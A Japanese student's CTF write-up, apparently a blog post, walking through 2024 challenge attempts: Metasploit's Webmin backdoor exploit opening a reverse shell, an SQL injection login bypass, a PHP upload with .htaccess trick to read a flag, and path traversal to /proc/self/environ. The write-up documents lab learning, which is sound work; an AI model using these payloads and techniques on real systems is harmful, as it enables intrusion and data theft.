以下の内容はhttps://k-yukichi.hatenablog.com/entry/2024/10/05/195815より取得しました。


ベイビーらいとあっぷ(FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024)

一問でも解けたらいいかなと思って挑みました。
一問は解けた。実施期間外で2問解くことに成功。そのほか2問挑んだ問題の途中過程を載せています。他のwriteupと違い、解いているとき、考えて試行したことを書いてあります。余分な部分もありますが、お楽しみいただけたら幸いです。

Pentest

[Easy] WebAdmin

新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。https://box.challenge.nflabs.jp/exercises/439

まずはアクセスしてみましょう。

ウェブでアクセスしてみたけど。まず、これはなんだ?VPNアクセスできているのだろうか?攻撃された後のサイトにアクセスした状態なのか?
いや、そもそもアクセスなので、ssh?でもユーザーは何だろうか?まず、サーバーを立てて、アクセスできているかを確認する。

└─# ping 10.0.102.231
PING 10.0.102.231 (10.0.102.231) 56(84) bytes of data.
64 bytes from 10.0.102.231: icmp_seq=1 ttl=63 time=18.7 ms
64 bytes from 10.0.102.231: icmp_seq=2 ttl=63 time=17.3 ms
64 bytes from 10.0.102.231: icmp_seq=3 ttl=63 time=16.7 ms

pingは通っているようだ。VPN接続してwebサーバーにはアクセスできているようだ。次に、ログインできるかを考える。

└─# ssh root@10.0.102.231
root@10.0.102.231: Permission denied (publickey).

sshしてみたけど、公開鍵認証を採用しているようで、ログインはできそうにない。
webサーバといっているので、80番ポートが開いている可能性がありそう。調べていると、どのポートが開いているかどうかがnmapというコマンドで行えるようだ。

└─# nmap 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 04:08 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0026s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 5.84 seconds

22,80,443番ポートが開いているようだ。
80ポートにcurlしてみると最初のサイトからアクセスした内容が返ってきた。nginxを使っていることが分かる。(第4章: NginxをインストールしてWebサーバーを動かしてみる)調べていると、この画面はnginxのデフォルトのページのようだ。
ここで、ふと。デフォルトが表示しているところから、設定に脆弱性があると考えた。そこで、ファイルトラバーサルすることができるかをやってみる。
しかし、http://<webサーバIPアドレス>/../../../root/root.txtとして、実行した場合、http://<webサーバIPアドレス>/root/root.txtとなり、../が利用できなさそう。

しかし、nginxのバージョンが分かった。デフォルト設定のままの脆弱性かnginx/1.18.0 というバージョンの脆弱性を攻めていく方針で行けばいいのかな?
ここで問題を読んでいると、「ペネトレーションテストを行って」とある。そこで、ペネトレーションテストについて、調べてみた。(ペネトレーションテスト入門)有益なサイトだ。
ここで、nmapにオプションがあり、表示できるものが変わるようだ。そりゃ、オプションはあるわな。

└─# nmap -T4 -A -v -p- -Pn 10.0.102.231
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 07:30 UTC
・・・
Scanning 10.0.102.231 [65535 ports]
Discovered open port 443/tcp on 10.0.102.231
Discovered open port 80/tcp on 10.0.102.231
Discovered open port 22/tcp on 10.0.102.231
Discovered open port 10000/tcp on 10.0.102.231
・・・

もう一度オプションをつけて、nmapしてみると10000番ポートが開いている。(ポート番号(10000-49151))によるとndmpというサービスによくあてられているポート番号のようだ。

知識(ndmp)
ndmp (Backup Exec の NDMP オプションでファイラー (NAS) のバックアップを実行する方法)を参考にした。データを管理するプロトコルのようだ。

怪しい。ここのポートを調べる。 └─# curl 10.0.102.231:10000を実行すると、データが送られてきた。見にくいので、URL上で見てみると

ログイン画面が出てきた。開発者ツールで見てみるとtestingとredirectいうクッキーがある。これはcookieで何かできるのか?
さっきのサイトでnmap脆弱性をスキャンすることが出来るようなのでしてみる。

└─# nmap -p 10000 --script vuln 10.0.102.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 08:10 UTC
Nmap scan report for 10.0.102.231
Host is up (0.0050s latency).

PORT      STATE SERVICE
10000/tcp open  snet-sensor-mgmt

10000ポートではsnet-sensor-mgmtというサービスが動いている。これは(Ubuntu をブラウザから管理する Webmin)で調べると、web上でubuntuにアクセスするサービスのようだ。

これ以降、試行錯誤しているが、いい感じには進まない。
sshの公開鍵での認証よりはwebminのパスワード認証の方が突破の可能性はありそう。しかし、

  • CVEを見つけても攻撃の仕方が分からない。
  • SQL文をたたいても無効な文字だと言われる。
  • よくあるパスワードやユーザー名でもログインできない。

dirbgobusterを試したが、うまくいかなかった。   また、色々調べていると、(Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト)というサイトにたどり着いた。

└─# nmap -sV -O -p- 10.0.102.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 03:15 UTC
Nmap scan report for 10.0.102.68
Host is up (0.011s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    nginx/1.18.0 (Ubuntu)
443/tcp   open  https?
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)

nmapを再度するとwebminのバージョンもわかった。やっぱり、オプション大切。metaspolitってツールを使うと脆弱性診断的な、ペネトレーションテストが行えるようだ。その前に、CVEやexploit-DBでどのように攻撃できるか探ろう。MiniServ 1.920で検索すると(Webmin 1.920 - Unauthenticated Remote Code Execution)というような、いかにも攻撃できそう脆弱性が見つかっているようだ。でも、ここからどうすればいいかわからない。

落ち着いて整理する。外部に開かれているのは、

この4つである。この4つの中での脆弱性を考えていく。dirbのリスト攻撃は特に引っかからなかった。(Nginx)のファイルトラバーサルも効果なし。
では、一番何かできそうなminiservから調査する。

webmin 1.920で調べると3つのexploitがあるようだ。
(Metasploitの基本的な使い方を解説【Kali Linux】)また、metasploitの使い方を調べてみた。さて、virtual boxでkali linuxを立てて、metasploitを実行してみた。

msf6 > search webmin

Matching Modules
================

   #   Name                                           Disclosure Date  Rank       Check  Description
   -   ----                                           ---------------  ----       -----  -----------
   0   exploit/unix/webapp/webmin_show_cgi_exec       2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1   auxiliary/admin/webmin/file_disclosure         2006-06-30       normal     No     Webmin File Disclosure
   2   exploit/linux/http/webmin_file_manager_rce     2022-02-26       excellent  Yes    Webmin File Manager RCE
   3   exploit/linux/http/webmin_package_updates_rce  2022-07-26       excellent  Yes    Webmin Package Updates RCE
・・・
   10  exploit/linux/http/webmin_backdoor             2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   11    \_ target: Automatic (Unix In-Memory)        .                .          .      .
   12    \_ target: Automatic (Linux Dropper)         .                .          .      .

12もの攻撃手法があるようだ。 どれを実行したらよいのだろうか。(Webmin - Exploit 2)が今回のに似ていそう。これをまずは参考にしていく。やってみたが、不発っぽい。

12通りやっていっても、なんかうまくいかない。使っていて分かったのが、入力に絶対必要な変数が存在している。そこで、その変数に今までの調べで知りえないものが含まれているもの(例:password,UserName)や、webminのバージョンが合わないものも違いそう。
そうすると、searchした中で、10番が求められているものがIPアドレスとポート番号だけなので、実行できる可能性が高いような。でも、10番を実行してもうまくいかない。なんでーーー。

ここで、一回nginxについて調べてみる。

nginx 1.18.0にはないとexploitDBは言っている。これではないのか。
いろいろ試行錯誤してみましたが、metasploitで10番がうまくいきそうな感じが一番する(でも、うまくいかない)。

[*] Started reverse TCP handler on 10.0.2.15:4445 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Exploit completed, but no session was created.

最後のコネクションが確立できないのはなんでだろう。このような返答はなにがいけないのだろうか?
webで調べていましたが、([Solve] Exploit completed but no session was created | Metasploit Framework Error Fix in Hindi)一番の気づきをくれたのはこの動画です。私はvirtualboxにkali linuxを立てて、metasploitを利用していました。仮想環境のせいで、ネットワーク関係がよろしくなかったようだ。ネットワークをNATからブリッジ接続にして仮想環境とwebサーバ自体とを通信できる状態にして行ってみた。

msf6 exploit(linux/http/webmin_backdoor) > run

[*] Started reverse TCP handler on 192.168.100.182:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.168.100.182:4444 -> 10.0.102.40:42306) at 2024-09-18 06:18:41 -0400

確立することに成功。感動。/root/root.txtを見つけに行く。

pwd
/usr/share/webmin/acl
cd ../
pwd
/usr/share/webmin/acl

変わらない。rootディレクトリまで行って、catすることを目標にしていたけど、ここから動けないようだ。
一応lsしてみましょうか。たくさん出た。なにかありそうなものをcatしてみる。

ls
CHANGELOG
backup_config.pl
edit_pass.cgi
save_pass.cgi
save_user.cgi
useradmin_update.pl

一部抜粋。ここら辺が情報ありそう?いろいろ見たけど、あまり有益な情報なし。
そういえば、攻撃者はよくwhoamiコマンドをたたくということを見たことがある。やってみよう。

whoami         
root

おっと。root権限があるのかい。じゃあ、話は早い。目的のものをcatすればいいじゃないか。cat /root/root.txtを行ったら、flagゲット。終了。

太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。

まずは、サイトを訪れましょう。
シンプルなデザイン。ペネトレーションテストをしていく。まずはnmap

└─# nmap -sV -O -p- 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:51 UTC
Nmap scan report for 10.0.102.205
Host is up (0.011s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache/2.4.58 (Ubuntu)
443/tcp open  https?

よくあるポートは開いている。まずは80番を確認していく。

apacheを確認したが、バージョンをexploit dbで確認したがヒットなし。
sshも特になし。ふむ、どうしたものか。
次にポートスキャンで脆弱性を探す。

└─# nmap -p 80 --script vuln 10.0.102.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 05:57 UTC
Nmap scan report for 10.0.102.205
Host is up (0.0021s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-cookie-flags:
|   /admin/login.php:
|     PHPSESSID:
|_      httponly flag not set
| http-enum:
|_  /admin/login.php: Possible admin folder
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

Nmap done: 1 IP address (1 host up) scanned in 522.24 seconds

脆弱性がありそうなところは上のような部分だ。/admin/login.phpというものがあるようだ。

お、ログイン画面に来た。何やら攻撃できそうですね。まずはSQLインジェクションを考えるが、adminなどのユーザー名でSQLインジェクションしても駄目っぽい。 (CTFのWebセキュリティにおけるSQL Injectionまとめ(MySQL/MariaDB, PostgreSQL, SQL Server))を見ながらインジェクションできないかを考える。#を使えたので、mysqlを利用しているのかな?

(Gallery TryHackMe Writeup)ほかのctfを参考にしていたら、admin ' or 1=1 limit 1-- +'というもので実行してみたら、ログインに成功。違いは何だったのだろうか? 後々調べよう。(後日SQLmapという存在を知る。これでやると何かわかるのかな?)
とりあえず、ログインに成功。ここからどうすればいいのだろうか?アップロードを用いて攻撃を考えろということかな。
まず、アップロードできるかをやってみる。
正常にできそう。
.jpgなら/upload/imagesに入れることができた。

しかし、テキストファイルはimagesの中には入らなかった。拡張子によってアップロードされる場所が違うのだろうか?
しかし、もう一度上げるとすでにあるといわれる。どこかのフォルダには入っているようだ。
このアップロードでどんな攻撃ができるのか?よくわからん。
調べているとwebshellというものを使うというものがあった。phpファイルに悪意のあるコードを記述し、実行させるようだ。試しにphpファイルがアップロードできるかやってみた。
許可されていないと出てきた。

(How to Exploit File Upload Vulnerabilities (and How to Fix Them!))調べていると、ファイルアップロードには攻撃手法と防御手法が多く存在している。今回、はじかれたのが、拡張子かマジックナンバーか、はたまた、送信タイプによるものか、そこから特定していかないといけない。しかし、方針は見えたような気がする。
つまり、悪意のあるphpファイルを/uploads/imagesにアップロードして、それを実行させる!
phpファイルの中身は(File upload vulnerabilities)こちらのサイトを参考に

<?php 
echo file_get_contents('/var/www/flag1.txt'); 
?>

でやってみる。

まずは拡張子をバイパスしたい。.php2ではアップロードはできた。しかし、jpgではないので、imagesの中にはない。そうなると、jpgと認識させつつ、phpで送らないといけないということになる。そんなこと可能なのだろうか?

(Red-Knights-CTF/writeups )やそのほかのものにもよく登場する単語があった。burpsuiteというものらしい。新しいツールを使わないとかな。
さて、burpsuiteを使っていく。インストールまでは完了。使い方だが、firefox拡張機能を使うとか、初期設定が難しい印象。(ペネトレーションテストでのBurp Suiteの使用方法)習うより慣れてみる。

お!なんかできてる。(Configuring Burp to work with an external browser)外部のブラウザーも使えるようだ。
読み込みにいちいち時間がかかるからうざいと思っていたけど、fowardを押すまで、編集とかができるのね。便利。ありがとうございます。

画像をアップロード。いろいろ書かれている。これこれ。この感じ。
.phpファイルをアップロードするときの中身。content-typeが当たり前だが、imageみたいなものではない。
Content-Type: image/jpegに編集してからfowardしてみた。しかし、拡張子が許可されていないと出た。やはり、拡張子がフィルターになっているようだ。
次に、先のphpファイルの拡張子をjpgにしてみる。

fileToUpload"; filename="fla.jpg"
Content-Type: image/jpeg

として、送信。アップロードはできた。これで、そのファイルを実行できれば、攻撃できるのかな?拡張子はjpgになってしまっている。そのファイルをGETしても、望んだ結果は帰ってこない。
アップロード先はどこなのだろうか?(【PHP】ファイルのアップロード方法)どこに飛ばすかはもちろん設定できるようだ。(【脆弱性】本当は怖いファイルアップロード攻撃の理解と修正方法(PHP編))実際に、その攻撃手法とその対策はあるようだ。アップロード先を非公開にするのもその一つ。攻撃手法として、アップロード先を決めたりできないのかな。

さて、数日空きましたが、ファイル拡張子をまずはパスするために(File Upload)から、file.php%00.jpgを用いてアップロードしてみる。
アップロードはできた。しかし、パスに訪れても、表示されない。


ここで同じ現象の起きているサイトを見つけた(Web shell upload via extension blacklist bypassをやってみた)。読んでいると.htaccessというものを使っていた。

知識(.htaccess)
.htaccess (.htaccessとは?5つのできることや詳しい設置方法を解説)を参考にした。apacheで使える。webサーバーの管理ができるようだ。

この.htaccessファイルでの攻撃手法は調べているときに知ってはいた。これを利用するのかな?
実際に.htaccessをアップロードできた。この.htaccessの内容は以下のようなものだ。

AddType application/x-httpd-php .jpg

こうするとことで、.jpgphpとして認識できるように設定できるということなのだろう。こうすることで、先のfile.php%00.jpgをphpとして、実行できる。(ファイル名を「file.php%00.jpg」としたが、「file.jpg」でもよさそうだ。) 一つ、burp suitで.jpgファイルを送るときにコンテンツタイプをContent-Type: application/x-httpd-phpにしていないといけないようだ。ここは注意。 つまり、.htaccessContent-Type: application/x-httpd-phpfile.php%00.jpgをアップロードすることで、flagが確認できるようだ。


これでできた。終了。

これは Gallery (1st mission) の続きです。2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。


同じようにやってみたが、なにも表示されなかった。先との違いは、/varのファイルか/rootのものかという違いだと思う。これによる違いはどうあるのだろうか?ファイル表示ではなく、コマンドを入力のようにしないといけないのかな?

Web Exploitation

[Easy] Path to Secret

脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。ヒント: サーバのファイル名はserver.pyです。

というわけで、webサイトへの攻撃である。

最初のアクセスを行うとこんな感じ。開発者ツールを見てもそこまで変なところはない。LoginとRegisterがあるので、アカウントを作ってアクセスしてみる。
downloadができるようになった。でも、どのような攻撃ができるかわかっていない。

ここで、任意のパスのファイルをダウンロードできるのではないのか?と思った。(CTFのWebセキュリティにおけるPath Traversal, LFI/RFI (File Upload, ZipSlip))をもとにファイルトラバーサルを行う。そうすると、ヒントで言われていたserver.pyをダウンロードすることに成功する。

@app.route("/admin")
def admin():
    if session.get("username") != "admin":
        return "You are not admin."

    users = User.query.all()
    return render_template("admin.html", users=users)

pyファイルを調べている。ここんところは気になる。けど、特にいい感じにはならない。調べているとflaskというサービスには脆弱性があるような記事が多い。

app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")から、configの値を獲得できれば、成功のようだ。flask-unsignをやっているが、あまりいい感じにならない。

大会後、友人に助言をいただき、また、調べると環境変数/proc/[pid]/environというファイルに書き込まれるようだ。また、pidが分かっていなくても、動いているサービスなら/proc/self/environにあるようだ(【Linux入門】/proc/self/environで環境変数を取得する)参照。
server.pyをダウンロードした要領で、このファイルをダウンロードすると、SECRET_KEYを見ることが出来る。なるほど。

Binary Exploitation

[Easy] io tutorial(解けていない)

同じクラスの友人がプログラミングの宿題を教えて欲しいと頼んできた。 作ったプログラムがたまに変な動きをしていて、原因がわからず困っているみたい。「標準入出力を使ったプログラムで、習った通りちゃんと文字数のチェックもしてるからバッファオーバーフローもしないはずなのに!」とのこと。原因を見つけてシェルを取って助けてあげよう!たしか先生は変数の初期化を忘れちゃダメって言ってたような?
コードについて調べたのは以下です。

見たい人は開けて

char *MESSAGES[] = {
    "! ! ! ! welcome ! ! ! !\n",
    "8 8 8 8 welcome 8 8 8 8\n",
    "WELCOME WELCOME WELCOME\n",
};

入力の時の1-3を選ばせるのはこの中からどれを表示するかを選択していると考えられる。

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

よくある初期化。

void win() {
  puts("WIN!!");
  execve("/bin/sh", NULL, NULL);
  exit(0);
}

ここに飛ばせば勝ちのようだ。よくあるpwnといった感じ。

void readn(char *buf, size_t size) {
  for (int i = 0; i < size; i++) {
    read(0, buf + i, 1);
    if (buf[i] == '\n') {
      buf[i] = '\0';
      return;
    }
  }

  // drop trailing '\n'
  getchar();
}

readnはbufと2を受け取る。i=0の時にbufに1バイト読み込み。それをi=1の時にも行う。もし、読み込んだものが\n なら\0にする。getchar();ではユーザーの入力を待つことになる?なんでだ?これは標準入力の\nを読み飛ばす働きがあるようだ。

int readint() {
  // read only 2 chars, so returns -9 to 99 I guess!
  char buf[0x10];
  readn(buf, 2);
  return atoi(buf);
}

bufは10バイトの領域を確保。readnにbufと2を渡す。atoi関数は文字列として認識されている数字を数値(int)に変換する関数である。

void greet() {
  char message[25];

  printf("greeting message? (1 ~ 3) > ");
  int which = readint();
  if (which < 1 || which > 3) {
    printf("invalid!");
    exit(1);
  }

  strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1);
  printf("%s", message);
}

最初のメッセージのやつ。

int main() {
  greet();

  printf("input size > ");
  int size = readint();

  // readint may returns negative number.
  if (size < 0) {
    size = 0;
  }

  // size is 99 at most, but to be safe,
  // the buffer size is set to 0x100 (== 256).
  // it can't be overflow!
  char input[0x100];

  printf("input > ");
  read(0, input, size);
  printf("your input: %s\n", input);

  return 0;
}

greet()でメッセージを選択。そのあと入力サイズを選ぶ。sizeがマイナスの時は0にする。inputには256byteを許すinput[0x100]である。

read関数では、inputのところに読み込んだデータを保存する。sizeは読み込むバイト数である。最初の引数=0ということはユーザーの標準入力を認識する。
readint()を見ていく。

さて、コードは解読したが、どのような穴があるか、わからん。

Malware Analysis

[Easy] Pack(解けていません)

世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?

表層解析ということなので、まずfileコマンド。

└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed, 3 sections

UPXというもので圧縮されているのかな?解凍してみる。

└─# ./upx -d ../pack.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     20480 <-     12800   62.50%    win32/pe     pack.exe

Unpacked 1 file.

解凍できたっぽい。

└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections

実行結果が変わっている。stringsしてみると

retry :
Incorrect
Almost! retry:
retry :
Incorrect
Enter anything key:
Congratulations!
FindResource error
MANIFEST
Flag is :
binary unpacked!
)B(:+

何やらflagに関係することが述べられていそう。一応入力したが、はじかれた。binary unpackedとはバイナリーの解凍を行えということなのだろうか?

└─# hexdump -v -C pack.exe
00000000  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|  

MZということで、実行ファイルであることは確かそうだけど。もしかして、ここから静的解析に移ったりするのかな?
ということで、静的解析に移ってみる。まずFlag is :binary unpacked!から攻めてみる。

flag is や congra..を出力するところや入力を待つところの関数をリネームしてみた。flagの入力を求めて、それを下の関数で本物のflagと比較していると予想した。

comp関数の中では何かしらの処理をして比較し、あっていればcongra..の文字列を返すと考えている。でも、どのようになっているかよくわからない。




以上の内容はhttps://k-yukichi.hatenablog.com/entry/2024/10/05/195815より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14